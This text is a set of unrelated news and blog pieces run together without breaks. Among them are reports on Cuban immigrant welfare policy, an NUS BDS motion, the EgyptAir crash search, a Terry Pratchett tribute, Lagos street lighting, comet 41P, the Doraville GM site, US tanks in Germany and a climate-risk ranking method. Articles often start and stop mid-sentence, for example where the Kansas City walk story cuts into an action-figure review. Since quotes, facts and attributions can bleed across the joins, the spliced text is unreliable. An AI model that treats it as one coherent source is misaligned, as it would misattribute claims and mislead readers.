the funds which will be disbursed,” he said at the time. President Jimmy Carter, who was seeking reelection, signed the bill at the Florida Capitol in Tallahassee. In an interview that day, Carter spoke of the state’s political importance and how Florida “helped put me over the top” to win the presidency. Welfare reform By the mid 1990s, members of Congress grew concerned that access to welfare had become a magnet drawing immigrants to the United States. The historic welfare reform act of 1996 barred most new immigrants from benefits for five years after their arrival. But advocates for states with many immigrants, including Florida, later rallied successfully for exceptions. Cubans remained eligible for food stamps, Medicaid and SSI, though SSI would be cut off after seven years if they were not U.S. citizens. When elderly and infirm immigrants worried about losing their benefits under the new time limits, Miami’s Cuban-American congressional representatives found a solution. Ileana Ros-Lehtinen and Lincoln Diaz-Balart pushed an exemption that allowed those with physical or mental impairments to become citizens without taking the English and civics test.
History of assistance for Cuban immigrants See timeline ›
Cubans avoided another welfare reform measure: Immigrants from other nations must promise to support relatives they bring to the U.S., keeping them off public assistance. Cubans who bring family under a reunification program make a similar pledge — but their loved ones are immediately eligible for welfare. “Everyone realizes it’s a joke,” said Miami immigration attorney Wilfredo Allen, a Cuban American. “We’re giving away money.” Aid indefinite
The U.S. policy of treating Cubans as refugees in need of special treatment endures even as the rationale for it fades. Many Cubans now come to America for economic opportunity. They’re granted public support as victims of oppression but return frequently to Cuba, some staying for months while the U.S. government keeps paying, the Sun Sentinel found. Public opinion has shifted, with Americans now supporting an end to the U.S. trade embargo against Cuba and increased travel between the two countries, according to a Gallup poll earlier this year. But neither Congress nor the president has openly advocated ending Cubans’ special access to government aid. The topic is still taboo for politicians, said Philip J. Williams, director of the Center for Latin American Studies at the University of Florida. “If they ran on a platform of, ‘Let’s treat Cubans like everyone else and not give them this special category,’ they might lose some votes,” he said.
In setting policy, lawmakers historically have had to wrestle with sympathy for the Cuban people, fairness to others, and responsible budgeting.
Louis “Skip” Bafalis, who represented Florida in Congress during the 1980 Mariel Boatlift, recalled the critical vote that made Cubans eligible for refugee aid.
He told the Sun Sentinel in a recent interview that he “certainly wanted to help those legitimate refugees … but the real concern I had was the open end of this whole thing.”The UK’s National Union of Student’s Black Students conference has endorsed the Palestinian call for Boycott, Divestment and Sanctions (BDS) at their national conference at the University of Warwick. The annual gathering passed Motion 402: Boycott, Divestment and Sanctions by an “overwhelming” majority, according to NUS National Black Students’ Officer Aaron Kiely.
The Black Students’ campaign, a self-organised autonomous section of the NUS, “represents the largest constituency of Black students in Europe and students of African, Asian, Arab and Caribbean descent, at a local and national level on all issues affecting Black students”.
The motion condemns Israel’s “multitude of human rights and international law violations”, describing “Israeli expansion on Palestinian land” as “a settler-colonial project, predicated on the ethnic cleansing and expulsion of its indigenous people”. The motion also slams “systemic” racism in Israeli state policy, including “anti-Arab, anti-African and anti-migrant discrimination”.
Noting “numerous BDS successes on campus this past year” despite “repression used against BDS campaigners both in the UK and abroad”, Motion 402 declares support for “Boycott, Divestment and Sanctions campaigns initiated by students”, and mentions G4S, Veolia and Eden Springs by name. The motion commits the Black Students campaign to lobbying “institutions to adopt academic boycott of Israeli universities”, disseminating “resources and materials on how to run successful BDS campaigns”, and supporting “the annual Israeli Apartheid Week initiative”.
The Black Students conference awarded Student of the Year to Malaka Mohammed, a Palestinian from the Gaza Strip recognised for her achievement in defying the blockade to study at Sheffield University, and then going on to win a full time sabbatical role in her student union with a record number of votes. Conference also gave an award for international peace and justice to King’s College London for their campaign work for Palestine including right to education and BDS.Dale Carnegie (inspired by but not to be confused with Andrew Carnegie ) is one of the most famous salesmen, public speakers, and motivators to walk this earth. After a youth of poverty and adversity, Dale Carnegie became a successful salesman, public speaker, and author. Dale Carnegie's speeches and writings have inspired millions to better themselves and gain self-confidence.
Here are some of my favorite motivational quotes from business legend Dale Carnegie:
1) "Develop success from failures. Discouragement and failure are two of the surest stepping stones to success."
2) "Most of the important things in the world have been accomplished by people who have kept on trying when there seemed to be no hope at all."
3) "People rarely succeed unless they have fun with what they are doing."
4) "Remember, today is the tomorrow you worried about yesterday."
5) "It isn't what you have, or who you are, or where you are, or what you are doing that makes you happy or unhappy. It is what you think about."
6) "Knowledge isn't power until it is applied."
7) "You can conquer almost any fear if you will only make up your mind to do so. For remember, fear does not exist anywhere except in the mind."
8) "Success is getting what you want. Happiness is wanting what you get."
Thank you Dale Carnegie for the motivational business quotes!
I hope these quotes help to inspire and motivate you! Best of luck in business my friends.
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Share This On Social Media:Amazing Ocean Facts was an entertaining series of comic strips created by Cyanide and Happiness artist Rob DenBleyker (Dr. Byron Beekle) to help celebrate the Nat Geo Wild television series DinoFish. The comic strips turned out to be a clever April Fools’ Day joke on the Nat Geo TV Blogs. Rob disguised his real name with the alias Dr. Byron Beekle and started the comics off by clearly focusing on fun facts about ocean life. As the series progressed, he gradually displays the information and illustrations in an increasingly personal and disturbed manner.
The series ended on April 1,2012 with a message from Nat Geo Wild:
“We have unfortunately ceased production of “Amazing Ocean Facts” due to artistic disagreements with Dr. Byron Beekle. We appologize to his fans.“
images via National Geographic
via Pleated-JeansEgypt on Wednesday said that it spotted and obtained images from the wreckage of the EgyptAir plane that crashed into the Mediterranean last month, killing all 66 people on board, according to a statement by the country's investigation committee.
The committee said that the vessel John Lethbridge, which was contracted by the Egyptian government to join the search for the plane debris and flight data recorders, "had identified several main locations of the wreckage." It added that it obtained images of the wreckage located between the Greek island of Crete and the Egyptian coast.
The next step, the committee said, will be drawing a map showing the wreckage location.
The 75-meter (82.05-yard)-long survey vessel is equipped with sonar and other equipment capable of detecting wreckage at depths up to 6,000 feet (1,830 meters).
The EgyptAir Airbus A320 en route to Cairo from Paris had been cruising normally in clear skies on an overnight flight on May 19. The radar showed that the doomed aircraft turned 90 degrees left, then a full 360 degrees to the right, plummeting from 38,000 feet (11,582 meters) to 15,000 feet (4,572 meters) before disappearing at about 10,000 feet (3,048 meters).
Leaked flight data indicated a sensor detected smoke in a lavatory and a fault in two of the plane's cockpit windows in the final moments of the flight.
The cause of the crash still has not been determined. Ships and planes from Egypt, Greece, France, the United States and other nations have been searching the Mediterranean Sea north of the Egyptian port of Alexandria for the jet's voice and flight data recorders, as well as more bodies and parts of the aircraft.
Since the crash began, only small pieces of wreckage and human remains have been recovered in a search that has been narrowed down to five-kilometer (three-mile) area of the Mediterranean.
Egypt's civil aviation minister Sherif Fathi has said he believes terrorism is a more likely explanation than equipment failure or some other catastrophic event. But no hard evidence has emerged on the cause, and no militant group has claimed to have downed the jet.
Wednesday's announcement came nearly two weeks after the French ship Laplace detected black box signals from the missing plane.
Locator pings emitted by flight data and cockpit voice recorders can be picked up from deep underwater. The Laplace is equipped with three detectors designed to pick up those signals, which in the case of the EgyptAir plane are believed to be at a depth of some 3,000 meters (9,842 feet). By comparison, the wreckage of the Titanic is lying at a depth of some 3,800 meters (12,500 feet).
Ten days later, Egyptian investigators said that time is running out in the search for the black boxes. They said on Sunday that nearly two weeks remain before the batteries of the flight's data and cockpit voice recorders expire and they stop emitting signals.
If retrieved, the boxes could reveal whether a mechanical fault, a hijacking or a bomb caused the disaster. The voice recorder should contain a record of the last 30 minutes in the cockpit, and is equipped to detect even loud breathing. The data recorder would contain technical information on the engines, wings and cabin pressure. Investigators hope the black boxes will offer clues as to why there was no distress call.
Finding them without the signals is possible but more difficult.
Last October, a Russian airliner crashed in Egypt's Sinai Peninsula shortly after taking off from the Egyptian resort city of Sharm el-Sheikh, killing all 224 people on board. A local affiliate of the Islamic State group claimed responsibility for downing the aircraft just hours after the crash. In November, Russia said an explosive device brought down the aircraft.
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The two disasters have unsettled authorities at the Cairo airport, where false alarms or bomb threats have caused lengthy delays to flights and at least one cancellation last week.
Security has also been considerably tightened at Egypt's 20-plus airports since the Russian plane crash, with passengers now subjected to roughly the same security measures in force at major international airports.We learned today that renowned fantasy author Terry Pratchett has died at the age of 66. As a longtime fan of his writing, as I'm sure many of you are, it's a hugely sad day. Since first borrowing one of his books (Guards! Guards!) from a friend back in the 1990s, I've been not just reading his books but devouring them whole. His Discworld novels are a comical send-up of the fantasy genre, but serve as far more than simple spoofs. They contain clever and engaging stories, lovable and memorable characters, incredible humor, and brilliant satire on modern life, culture, and politics.
Most books I buy, I eventually wind up giving to friends or donating to our library, but never his. They're too important to me, because in them I found more than just hours of entertainment. I found the desire to become a writer. I'm confident I would not be writing these words, nor any words, without him. There are plenty of authors who made me daydream about someday being a writer, but his books were different. They inspired me to sit down in front of a keyboard and actually become one. For this, I'm forever grateful.
It goes without saying that many connections can be drawn between Pratchett's writing career and the rise of PC gaming. The most obvious, naturally, are the games themselves: The Colour of Magic, the text adventure from 1986; Discworld, Discworld 2, and Discworld Noir, all point-and-click adventures; and Discworld MUD, a text based role-playing game.
Terry pratchett, on the cover of the first pc gamer
In 1993, Pratchett appeared on the cover PC Gamer Magazine—the very first issue of the magazine, in fact. Inside, he was interviewed by Gary Whitta about his books and the upcoming Discworld adventure game.
Pratchett played plenty of games himself. He loved computers in general, and he told PC Gamer he enjoyed games like Wing Commander, X-Wing, and Prince of Persia. He described the addictive nature of Tetris as "a computer virus which human beings can catch."
He was, interestingly, a completionist. "I get to the end of everything," he said, on the topic of games that pose a frustrating challenge. "I sit there banging my head against the screen until I finish."When approached to have his work developed into what would become the Discworld adventure game, he was wary, based on his own experiences buying games. "...you would buy a tape cassette with pictures of blazing robots and exploding planets, and when you played the game it was something where the graphics were just ASCII characters stuck together."
He also jokingly described his involvement with developer Teeny Weeny Games: "Basically, I shout at them and threaten them a lot," he said, though he went on to say the game captured the overall spirit of the books.
There are other connections between Pratchett and games. Rhianna Pratchett, his daughter, was formerly a games journalist and section editor for PC Zone magazine, and has written for games such as Mirror's Edge, Bioshock Infinite, the Overlord series, and 2014's Thief. She was the lead writer on 2013's Tomb Raider, as well as its upcoming sequel, Rise of the Tomb Raider.
The most prominent connection, but perhaps hardest to define, is Pratchett's influence over PC gaming as a whole, from the people who make them to those of us who just play them. It wouldn't be a stretch to suggest that most comedic fantasy games have been in some way been influenced and inspired by the Discworld novels. Scroll through any gaming forum and you're likely to find passionate discussions about his books and the fervent hope of there someday being more Discworld games. Stroll through any fantasy MMO and you're bound to spot an avatar named Sam Vimes. Rincewind. Angua. Cheery Littlebottom.
I know a lot of developers, gamers, writers, and readers are feeling the same pain of loss today. Our thoughts are with his friends, family, and loved ones. We're all grateful for what you've given us, Terry, and we'll all miss you terribly.
We've made a PDF of the 1993 PC Gamer interview with Terry Pratchett available below, which you can pop out and download for easier legibility. Interestingly, the interview even includes speculation about virtual reality games, a topic we're still doggedly prattling on about today. Read and enjoy it: it's a great example of his humor, his cleverness, and his incredible smarts. Then go read his books, if you haven't. And even if you have.Flying into Lagos at night, you would never know there are up to 21 million people down there. There is no orange glow, as you see on approach to cities such as New York or London (both with about eight million inhabitants).
Waiting for you on the streets of Lagos is darkness. And with it, fear.
I spent days and nights following electricity crews who are trying to change that. They are building big generators and installing lights that bypass what Nigerians call the "epileptic" offerings of the national power grid.
At night the crews work with a security detail. On Lagos Island, the man in charge of it is called Mr Omo.
He is short and beefy, not sculpted, like a body-builder, more rounded and somehow solid, like a large refrigerator.
"You are the tough guy," I said when we met by the side of a darkened road. Above, the street lights were out. Below, an electrician was on his knees with a torch in his mouth and a nest of cables in his hands.
"I am not the tough guy," Mr Omo said, with a shrug, but he said it with a demeanour that suggested he was not someone who would back away from trouble.
I liked him immediately. And not just because I had already been in dark neighbourhoods where shouts and noises and people come from every direction; and when you walk you cannot see the ground, so you almost trip over children, or fall into storm drains; and you have no idea why that crowd of young men over there are yelling and fighting, or where to go if they come any closer.
"Just a second," Mr Omo said. He raised a phone to his ear. "Go ahead," he said. Then, to me: "Soon the lights will come on."
They did and there was a collective "Aaah". I looked around and was surprised. I had no idea there were so many people around me. The crew started to pack up and I asked Mr Omo why they needed a security detail in the first place.
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The big problem, he said, was the "area boys" - gangs of young men who hassle the crews for money. They are a scourge across Lagos.
I had once stopped to record the sound of children crowded under a street light. They were dressed in creamy white clothes, singing prayers with an imam. I was there maybe five minutes before a group of area boys came up and started demanding money from my guide. They spoke heatedly in Yoruba, the local language.
My guide sounded firm, but soon he said to me in English: "Let's go."
We did not give them any money, but I spoke with street traders who said they regularly paid 10% of their daily take to area boys, who would threaten to beat them up or wreck their stalls.
The government in Lagos hopes light will change that. At the Iyana Ipaja market - a major trading centre in the north of the city - it has spent £750,000 ($1.2m) to install and restore lights.
Image caption Broken electricity transformers are a common sight in Lagos
I met a man there named Mr John, who sells alcohol from a small stall. He told me about the moment the lights came on, a week earlier.
"There was a jubilation along this street - ask anyone," he said, waving his arm. "We opened drinks for people because of the light."
He and the other traders used to close when the sun set around 6.30pm. "Now they stay open as long as they like," he said gleefully.
Mr John says the area boys have vanished and profits are up. Others in the market say the same thing.
On Lagos Island, Mr Omo is also starting to see change.
"As more light comes, it is getting easier," he says. "The tension is going down, little by little."
Electricity crews have yet to come to the street where Mr Omo lives. The plan is to do the main roads first, then work into neighbourhoods. So far, they have lit about 120 miles (190km) of road, in a place where there are more than 8,000 miles.
Standing in the dark outside his house, Mr Omo and I began to hear shouts from the other end of the road, then crowds of men began to run past looking over their shoulders.
"Come to the back," Mr Omo said, as he put himself between me and the street. "Maybe they are fighting. They might be throwing stones or bottles."
We had been talking about Lagos's reputation as a dangerous place. "You now, do you feel safe?" he asks.
Of course I do, I say, I'm with Mr Omo.
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Follow @BBCNewsMagazine on Twitter and on FacebookAlex Neil regrets not shifting on Norwich City’s old timers
Alex Neil is looking to get back into football after his Norwich City exit. Picture: Paul Chesterton/Focus Images Ltd ©Focus Images Limited www.focus-images.co.uk +447814 482222
Former Norwich City boss Alex Neil admitted he needed to be more ruthless in culling the Canaries’ squad after last season’s Premier League relegation.
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Neil was dismissed in March after failing to get City firmly in the promotion mix. The Scot insists his only regret, looking back on his time at Carrow Road, was not shaking up the squad last summer as they geared up for a return to the Championship.
“When you are a manager you go in with your eyes open,” he said. “If you don’t win games then your position is going to become questionable. I never would come away saying I should have had this or that happen. Looking at the squad I would never say we were not good enough to get up. I would say we were. The one thing I would say, and I made this point on numerous occasions leading up to my departure, we needed to start afresh. There was a lot of players who had been there five or more years.
“The one thing I probably blame myself for was in the summer I re-signed all the players to get us back up, because they had got us up in the past. What I probably should have done is took a bit more time and maybe looked to alter some of the squad at that stage.”
Neil, speaking to BBC Scotland, was dismissed by chairman Ed Balls and former acting CEO Steve Stone.
“To be honest Delia wasn’t the one who told me I was no longer required,” said Neil. “I had spoken to Ed Balls and Steve Stone and I requested to go and speak with Delia, who was in the boardroom upstairs, and I went in and thanked her for everything she had done and the opportunity she had given me. It was a gamble going from Hamilton Accies to Norwich was a big move and trying to get them into the Premier League, which we managed to do. David McNally, in particular, showed huge amounts of faith in me.
“The fact is football is football. I have no ill will to anyone. The only frustration was I had set out the plans in terms of taking things forward and what we needed and this was how we were going to do it and I really believed it would work but I didn’t get the opportunity to see the job through.”Comet 41P/Tuttle-Giacombini-Kresák zooms past the barred spiral galaxy NGC 3198 in this photo taken by astrophotographer Chris Schur on March 14. At the time, the glowing, green comet was about 16 million miles (25 million kilometers) from Earth. This "April Fool's Day Comet" will make its closest approach on April 1, passing within 13.7 million miles (22 million km) of the Earth. NGC 3198, also known as Herschel 146, may appear close by, but it lies 47 million light-years away in the constellation Ursa Major.
An unusually favorable opportunity to view a famous periodic comet in small telescopes comes during the next couple of weeks, when passes closer to Earth than at any return since its discovery in 1858.
The comet's perihelion point, which is that part of its orbit taking it closest to the sun, lies just outside Earth's orbit. This year, the perihelion passage occurs April 12, when the comet will be 97.1 million miles (156.3 million kilometers) from the sun. But because the orbit of the comet nearly parallels the orbit of Earth at this point, there will be a six-day period — from March 29 through April 3 — when Tuttle-Giacobini- Kresák will be very near to its closest point to Earth.
The comet will, in fact, be closest to Earth on April Fools' Day (April 1); just about 13.2 million miles (21.2 million km) away.
During this two-week stretch, the comet will be passing across the stars of Ursa Major and Draco, circumpolar constellations that are perpetually above the northern horizon for most viewers in the Northern Hemisphere. So that will make the comet an easy target from dusk through dawn through mid-April. [Best Telescopes for Your Money]
I must stress here that this comet is not likely to evolve into an impressive sight. However, it will be worth monitoring in the coming nights for two reasons:
It is not often that a comet approaches Earth as closely as "T-G-K." There is a very small possibility that the comet could undergo a dramatic outburst in brightness.
More on that in a moment.
This Starry Night sky map shows the location of Comet 41P/Tuttle-Giacobini-Kresák in the northern night sky on April 1, 2017 at 9 p.m. local time as seen from mid-northern latitudes. The comet is not visible to the naked eye, but can be spotted with binoculars or a telescope. (Image: © Starry Night
The history of Comet Tuttle-Giacobini-Kresák
Comet T-G-K was first sighted by astronomer Horace Tuttle of the Harvard College Observatory on May 3, 1858. The comet was only around 10th magnitude, which is about 40 times dimmer than the faintest star you could see with your naked eye on a dark, clear night. Astronomers observed the comet for about a month, but only an approximate orbit for it could be ascertained. It appeared to circle the sun about every six to eight years, but they could not provide a good estimate of when it might appear again, so it was considered lost. [Riding Along with Comets Using Mobile Astronomy Apps]
On June 1, 1907, Professor M. Giacobini at the Nice Observatory in France found a very faint comet that remained visible for about two weeks before it faded from view. Later, some astronomers began to suspect there was a connection between the comet Tuttle saw in the mid-19th century and the one that was picked up by Giacobini nearly half a century later. But there was not enough evidence to confirm this.
Finally Ľubor Kresák, a Slovak astronomer, ran across the same comet while scanning the skies with his giant 25 x 100 binoculars on April 24, 1951. This time, enough observations were gathered to positively tie together the comets seen by Tuttle and Giacobini with the one sighted by Kresák, proving that all three were one in the same. The comet circles the sun about every 5.5 years and was named after all three men, each coming from a different generation, in a process that took almost a century!
Will the comet surge in brightness?
If Comet 41P/Tuttle-Giacobini-Kresák were a "typical" small comet, it would appear in the coming nights as nothing more than a circular, diffuse blob of light, perhaps becoming no brighter than 8th magnitude; accessible only to those with small telescopes or, at the very least, good binoculars on dark, clear, moonless nights. To many, especially neophytes in astronomy, this isn't much of a sight to see. The late Dr. Isaac Asimov was once shown a similarly small, dim comet through a telescope and later commented, "It didn't move me at all." That, in fact, is what Comet T-G-K will likely resemble. [14 Best Skywatching Events of 2017]
Unless there's an outburst or surge.
In late May 1973, a few days before Comet T-G-K arrived at perihelion, the comet's brightness suddenly and inexplicably surged by 10 magnitudes; it became 10,000 times brighter over a span of just a day or two, becoming as bright as a 4th magnitude star and hence dimly visible to the naked eye. The comet then quickly faded to near obscurity, but six weeks later in early July, it again surged dramatically in brightness to 4th magnitude, then rapidly faded again a few days later.
Nobody knows for sure why the comet abruptly flared in 1973, but careful scrutiny of recent approaches to the sun in 1995, 2001 and 2006 suggest that outbursts in brightness tend to occur around the time T-G-K is passing closest to the sun.
According to Japanese comet expert Seiichi Yoshida, who moderates the website "Weekly Information about Bright Comets" at http://www.aerith.net/comet/weekly/current.html: "Outbursts occur frequently. The (comet's) light curve is unpredictable in every apparition. Even if no major outburst occurs, it seems to have a trend of rapid brightening and fading around the (time of) perihelion passage."
Yoshida is predicting the comet will become as bright as magnitude +5.5 during early April; bright enough to be barely visible to the naked eye in a dark sky. Can it become brighter than this? Could another "eruption" like in 1973 take place? If that were to happen, the comet could become as bright as Sirius, the brightest star in the sky. But while we cannot rule such a circumstance out, let's just say the chances are very slim to almost none.
But, hey, so far as comets are concerned, you never know.
Coming attractions
Out of curiosity, I wondered if Comet 41P/Tuttle-Giacobini-Kresák might ever make another unusually close approach to Earth. Using an orbit simulator, I inputted the latest orbital elements for the comet and moved forward in time and discovered that in May 2059, it will have come close enough to Jupiter to have its orbit altered slightly, moving it a bit closer to Earth's orbit.
And in early May 2066, Comet T-G-K will once again make another very similar (to 2017) close approach to Earth.
Editor's note: If you capture an amazing photo of Comet 41P/Tuttle-Giacobini-Kresák through a telescope and would like to share it with Space.com, send images and comments in to: [email protected].
Joe Rao serves as an instructor and guest lecturer at New York's Hayden Planetarium. He writes about astronomy for Natural History magazine, the Farmers' Almanac and other publications, and he is also an on-camera meteorologist for Fios1 News in Rye Brook, New York. Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.The General Motors assembly plant in Doraville shuttered in 2008. Since then, the hulking, nearly empty beast, has served as a reminder to motorists along I-285 of metro Atlanta and America's past life as an industrial and manufacturing powerhouse.
Traces of the lettering on the main office remain. A sign warning visitors not to bring unauthorized chemicals still stands at the worker entrance. Grass sprouts through cracks in the vast parking lot.
In several months, most of these remnants will be gone. A construction worker last Friday hopped behind the controls of a trackhoe and ripped a chunk of bricks from the plant's midcentury office building, drawing applause from media, civic leaders, and developers. After shattered hopes and failed efforts to re-imagine the megasite, developers are promising that the 165-acre property, once teeming with activity, would hum again. The vision: a walkable and transit-connected residential and business hub, almost 30 acres larger than Atlantic Station, that could bring new parks, restaurants, and other amenities — not to mention a sense of place, something lacking in the 10,603-person community.
"It's going to give us a sense of meaning," says Doraville Mayor Donna Pittman. "It'll put us on the map."
In the mid-1940s, General Motors started building the factory on a former dairy farm and, in the process, became the foundation of Doraville. It employed thousands of workers over its approximately 60-year history, many of whom settled in the nearby neighborhoods. The plant was so immense that employees used adult-sized tricycles to pedal to different stations and areas. It even had its own medical director.
In its final years, the plant workers churned out minivans. One year before closing, according to an Atlanta Journal-Constitution report in 2008, the factory built 10,000 vehicles for the United States Postal Service. In 2008, GM moved vehicle production to Canada.
"It was a big impact," Pittman says. "People lost jobs. People lost homes. It was a devastating time for our city with revenue. They had a lot of great employees, great citizens who have stood by us in this really hard time. This was our city. This is what built our city."
Aside from the lonesome tours by security guards and occasional group of urban explorers, who called the factory "Neverland," the building sat empty in recent years.
Developers' efforts to buy the property located adjacent to MARTA rail, and a short ride away from Chamblee, Brookhaven, and the rest of the transit network, had faltered. At one point, the site had been pitched as one of several potential sites for a new Atlanta Falcons stadium. Integral Group confirmed it had the property under contract last May.
The development has the potential to be the largest project that Integral CEO Egbert Perry, who has overseen the transformation of several Atlanta public housing complexes into mixed-income communities, has ever led. But there are still many unknowns, he says — including what buildings he and development partner Macauley and Schmit will construct first and what sort of knots of utility, sewer, and water lines they'll find under the ground. The project doesn't have a name yet.
According to a new plan unveiled last week, the future development will include high-rises, greenspaces, and grand walkways — a mammoth mini-city that Perry says will embrace the "public realm." Pittman says future features might even include a high school — something else Doraville currently lacks. Executives also plan to connect under the MARTA and freight rail tracks to have better access to the rest of Doraville.
The site location itself is an advantage for businesses. A direct link to MARTA could make the site easy to reach Millennials who want to live in intown Atlanta. And the proximity to I-285 might entice older executives who prefer the suburbs.
According to Perry, development work could start in several areas, including what's being referred to as "The Yards," the old Norfolk-Southern railroad tracks that jut into the heart of the property. Other names of project areas include "the Docks," "the Commons," and "Peachtree Square." Executives are considering asking local bicycle shops and artists to repair and paint the 50 oversized tricycles that were left behind by GM and using them in a bike-share program once the development opens.
Until then, work will continue. Some notable buildings might undergo salvage efforts, Perry says. Scrap metal will be sold. And the process will unfold.
"We're going to have a blast doing this over the next, who knows, seven to 10 years if we're lucky," Perry says.Kansas City is a lot bigger than we tend to realize. The majority of the population is concentrated into just 58 square miles that make up less than a fifth of the city’s overall size. That leaves a lot of mileage to discover. Here’s a story by Esther Honig, from audio producers Fountain City Frequency, about one Kansas Citian that spent 15 days walking the city’s 212-mile border, and what he discovered about himself and his city.
In the attic of his single story home on Kansas City’s east side, Charlie Mylie is packing for a trip. He has a single camo tarp and cord that he’ll use as a tent, white Converse sneakers for trekking, and an antique Kelty backpack to carry the rest of his essentials: book of Rumi poetry, a sleeping bag, canned tuna, beans, and ramen, as well as a map and compass to navigate.
After months of planning, this is the night before Mylie’s departure. He’s carefully considered the potential risks and daydreamed about the uncertainty of what he’ll find. He’s prepared for an adventure, a project he’s calling the “Big Inhale,” but rather than fly to a foreign country or seek solitude in the wilderness, Mylie says that for this trip, he’ll hardly go anywhere at all.
“It made perfect sense that I could always be 30 minutes from home,” he says. “But still go on a long journey, and be a tourist in our own town, which is hard.”
Mylie will walk the border of Kansas City, Missouri, all 212 miles. Depending on the distance he manages to cover each day, the trip could take him three or four weeks. Along the way he’ll camp, maybe grab a bite from a nearby diner, and clean up in the public restrooms. He hopes to discover the corners of Kansas City that he says few people actually consider when they imagine this sprawling metropolis.
“Loving the Royals, going to the Power & Light and First Friday is a very small part of our city,” he says. “There’s a challenge to love it in its fullest.”
This particular November the weather is unexpectedly pleasant. This is not the bone-chilling fall of last year. Without the summer heat, conditions could not be more ideal. To document this journey Mylie has packed a pair |
have a few number of action figures because I am more of a scale and Nendo collector and sometimes I find these figmas too thin. Anyways Figuarts joints compared to Max Factory is slightly softer and looks a bit more fragile. However, I find Figuarts safer to manipulate once you start messing with the parts. IDK maybe it’s just the feel to it or because its softer that’s why it’s easier to bend without fearing of breaking. Sealing Wand
Clow Card Keroberus! Unfortunately he has no stand of its own but somehow he can stand just fine so put him anywhere near Sakura as you please 🙂 So far, that’s all of the accessories Sakura have in her set. Everything seems to be in a very pretty and neat condition. I was kinda relunctant at first but now looking at it closely it’s not that bad at all! In fact it’s actually well made and regarding from my experience of playing with her since day 1, I did not have any major problems like lose joints or falling parts. I also find it easier to bend the joints and interchange faces. If ever others did encountered problems, then my friend it’s a figure defect of your copy. Otherwise everything is fine and the most fun part is, you can pose all the way!
。。。
またね！！！
AdvertisementsThe arrival of three US military cargo ships at the north German port signals a step up in a military stand-off between NATO and Russia, after Moscow annexed Crimea from Ukraine in 2014.
On Wednesday the cargo ship Resolve docked at Bremerhaven. By Saturday, Freedom and Endurance will have followed in its wake.
After unloading, the tanks will make their way towards Poland, mainly by train, before being deployed across eastern and central Europe in military training exercises.
The deployment is part of the US mission Atlantic Resolve, which the US states is for the sake of ensuring security and stability in the eastern regions of the NATO alliance.
“Three years ago, the last American tank left Europe; we all wanted Russia to be our partner,” Lt. Gen. Ben Hodges, the commander of US Army Europe, told the Wall street Journal in December.
“My country is bringing tanks back… as part of our commitment to deterrence in Europe.”
The brigade will be headquartered in Poland, but used in military exercises in the Baltic states.
Lithuania, Latvia, Estonia and Poland all have borders with Russia and say that they feel threatened since Moscow annexed Crimea.
A Bundeswehr (German army) spokesperson told the Märkische Oderzeitung that trains with a total length of 14 kilometres will be needed to transport all the tanks.
“From January 7th until January 14th, three trains will transport the military equipment every day,” he said.
According to the Bundeswehr, most of the tanks will be transported by train. But military convoys will pass through Hamburg, Lower Saxony, Saxony-Anhalt and Brandenburg
The large majority of the 4,000 US soldiers who belong to the brigade will arrive for deployment by plane.
The troops and equipment are from the 3rd Armored Brigade Combat Team, 4th Infantry Division, out of Fort Carson, Colorado.
“This effort is part of our European Reassurance Initiative to maintain persistent, rotational presence of air, land, and sea forces in central and eastern Europe,” a department of defence spokesperson said on Thursday.WASHINGTON — Defense Secretary Jim Mattis kicked President Trump’s proposed ban on transgender people serving in the military down the road, announcing that transgender service members will continue to be allowed to serve pending the results of a study.
In a statement on Tuesday evening, Mr. Mattis said that he was establishing a panel of experts, serving within the Pentagon and the Homeland Security Department, whose task will be to “provide advice and recommendations on the implementation of the president’s direction.”
Mr. Trump announced last month in an abrupt series of tweets that transgender people would no longer be allowed to serve in the military. The Twitter messages took the Pentagon by surprise, and since then, Defense Department officials have been trying to cobble together a policy that takes into account their desire to allow currently serving transgender people to remain, while at the same time following the dictates of a commander in chief who, by most accounts, had not put a lot of study into the ramifications of his instructions.
Last week, Mr. Trump signed the directive precluding transgender individuals from serving, but gave Mr. Mattis wide discretion in determining whether those already in the armed forces can continue to serve. By putting the onus on Mr. Mattis, the president appeared to open the door to allowing at least some transgender service members to remain in the military, contrary to his initial tweet that all would be disallowed.The Methodology
We started by taking the top 100 cities across the United States with a population of 200,000 people or more, based on 2013 U.S. Census data, the most recent data available at the time. We opted to focus on city proper rather than county or region, another way the Census can be broken down. From there, we looked at six factors affecting cities, weighted differently:
1. Sea-level rise (2.0, with an additional multiplier for cities along the Atlantic and Gulf coasts, to account for potential effects from hurricanes)
2. Extreme precipitation (1.0)
3. Extreme drought (1.0)
4. Urban heat islands/extreme heat (1.0, with an additional multiplier for inland cities, to account for land-sea breeze effect)
5. Average temperature changes (0.5)
6. Average precipitation changes (0.5)
1. Sea-level rise. There are many ways to look at sea-level rise. We used a dataset from the World Bank that focused on future flood losses, in millions and billions of dollars, in major cities (as detailed in this Nature Climate Change paper from 2012). The paper itself offered two projections, 20 cm sea-level rise and 40 cm sea-level rise by the year 2050, with no mitigations efforts, some adaptation, and much adaptation. We looked at worst-case scenario: 40 cm sea-level rise with no adaptation. We came to this decision because New York City and several other cities could see as much as 2 feet of sea-level rise (61 cm). We weighted sea-level rise at 2.0, and added a multiplier of 2 for any cities along the Gulf and Atlantic coasts to account for costs related to possible storm surge.
2. Extreme precipitation. “Increases in extreme precipitation are projected for all U.S. regions.” That’s how the “Heavy Downpours” section of the National Climate Assessment begins. This is particularly true for the northeastern part of the country, which saw 71 percent more precipitation in the heaviest 1 percent of downpour events from 1958 to 2012, a trend expected to continue. Given this fact, we opted to include extreme precip as one of our factors, using data from The National Climate Assessment, simplified by state in this map (found on the website of an organization called Great Lakes Integrated Sciences + Assessments or GLISA).
3. Extreme drought. For extreme drought, we used a dataset provided to us by Katharine Hayhoe and Sharmistha Swain from Texas Tech University published in the journal Climate Dynamics in January 2014 that looked at drought conditions during springtime for three time periods (2020–2039, 2050–2069 and 2080–2099) and for three different climate scenarios (RCP 4.5, RCP 6.0 and RCP 8.5). We opted to use the map that considered RCP 8.5 for the timeframe 2050–2069, to align with the timeline of the data for future flood loss.
4. Urban heat islands. This concept, at its simplest, means that a city is warmer than its surrounding rural areas. Climate Central conducted extensive analysis on this topic, detailed in the report, “Hot and Getting Hotter” from 2014. The nonprofit analyzed 60 of the largest U.S. cities and broke down its analysis in several different ways. With permission from Climate Central, we used the dataset that looked at average summer temperature difference, in degrees Fahrenheit. Based on guidance from several researchers we spoke with, we added a multiplier for any inland cities to account for the effect of the land-sea breeze.
